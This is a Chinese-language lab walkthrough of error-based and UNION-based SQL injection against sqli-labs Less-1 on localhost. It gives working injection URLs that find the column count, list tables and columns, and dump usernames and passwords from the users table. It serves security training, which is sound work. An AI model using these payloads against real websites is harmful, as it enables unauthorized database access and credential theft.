一、正常访问
判断是否存在注入
http://127.0.0.1/sqllab/Less-1/?id=1'
标白部分为实际的报错内容,可以看出因为写入的’拼接到语句中造成原语句的单引号多余,导致报错。
通过添加的 – + 注释掉后续查询语句,达到语句正常执行的目的
二、猜解当前数据库列数以及页面中的显示位置
http://127.0.0.1/sqllab/Less-1/?id=1'order by 1 --+
http://127.0.0.1/sqllab/Less-1/?id=1'order by 2 --+
http://127.0.0.1/sqllab/Less-1/?id=1'order by 3 --+
当按列排序执行到3时正常,执行到4时报错,说明当前数据库有3列。
判断回显位置
可以看到当前数据库的第二列和第三列会回显到的位置。
三、查询当前数据库等信息
http://127.0.0.1/sqllab/Less-1/?id=1' and 1=2 union select 1,database(),3 --+
查询当前数据库中有哪些表
可以看到存在有 emails,referers,uagents,users 数据表。
继续将列的内容注入出来。
http://127.0.0.1/sqllab/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = "users" ),3 --
现在梳理一下:
存在一个库叫做 security。它有四个表,其中一个为 users,这个表中包含 id,username,password这三个列。
直接查询数据:
http://127.0.0.1/sqllab/Less-1/?id=1' and 1=2 union select 1,(select group_concat(concat_ws(0x3a,id,username,password)) from users),3 --+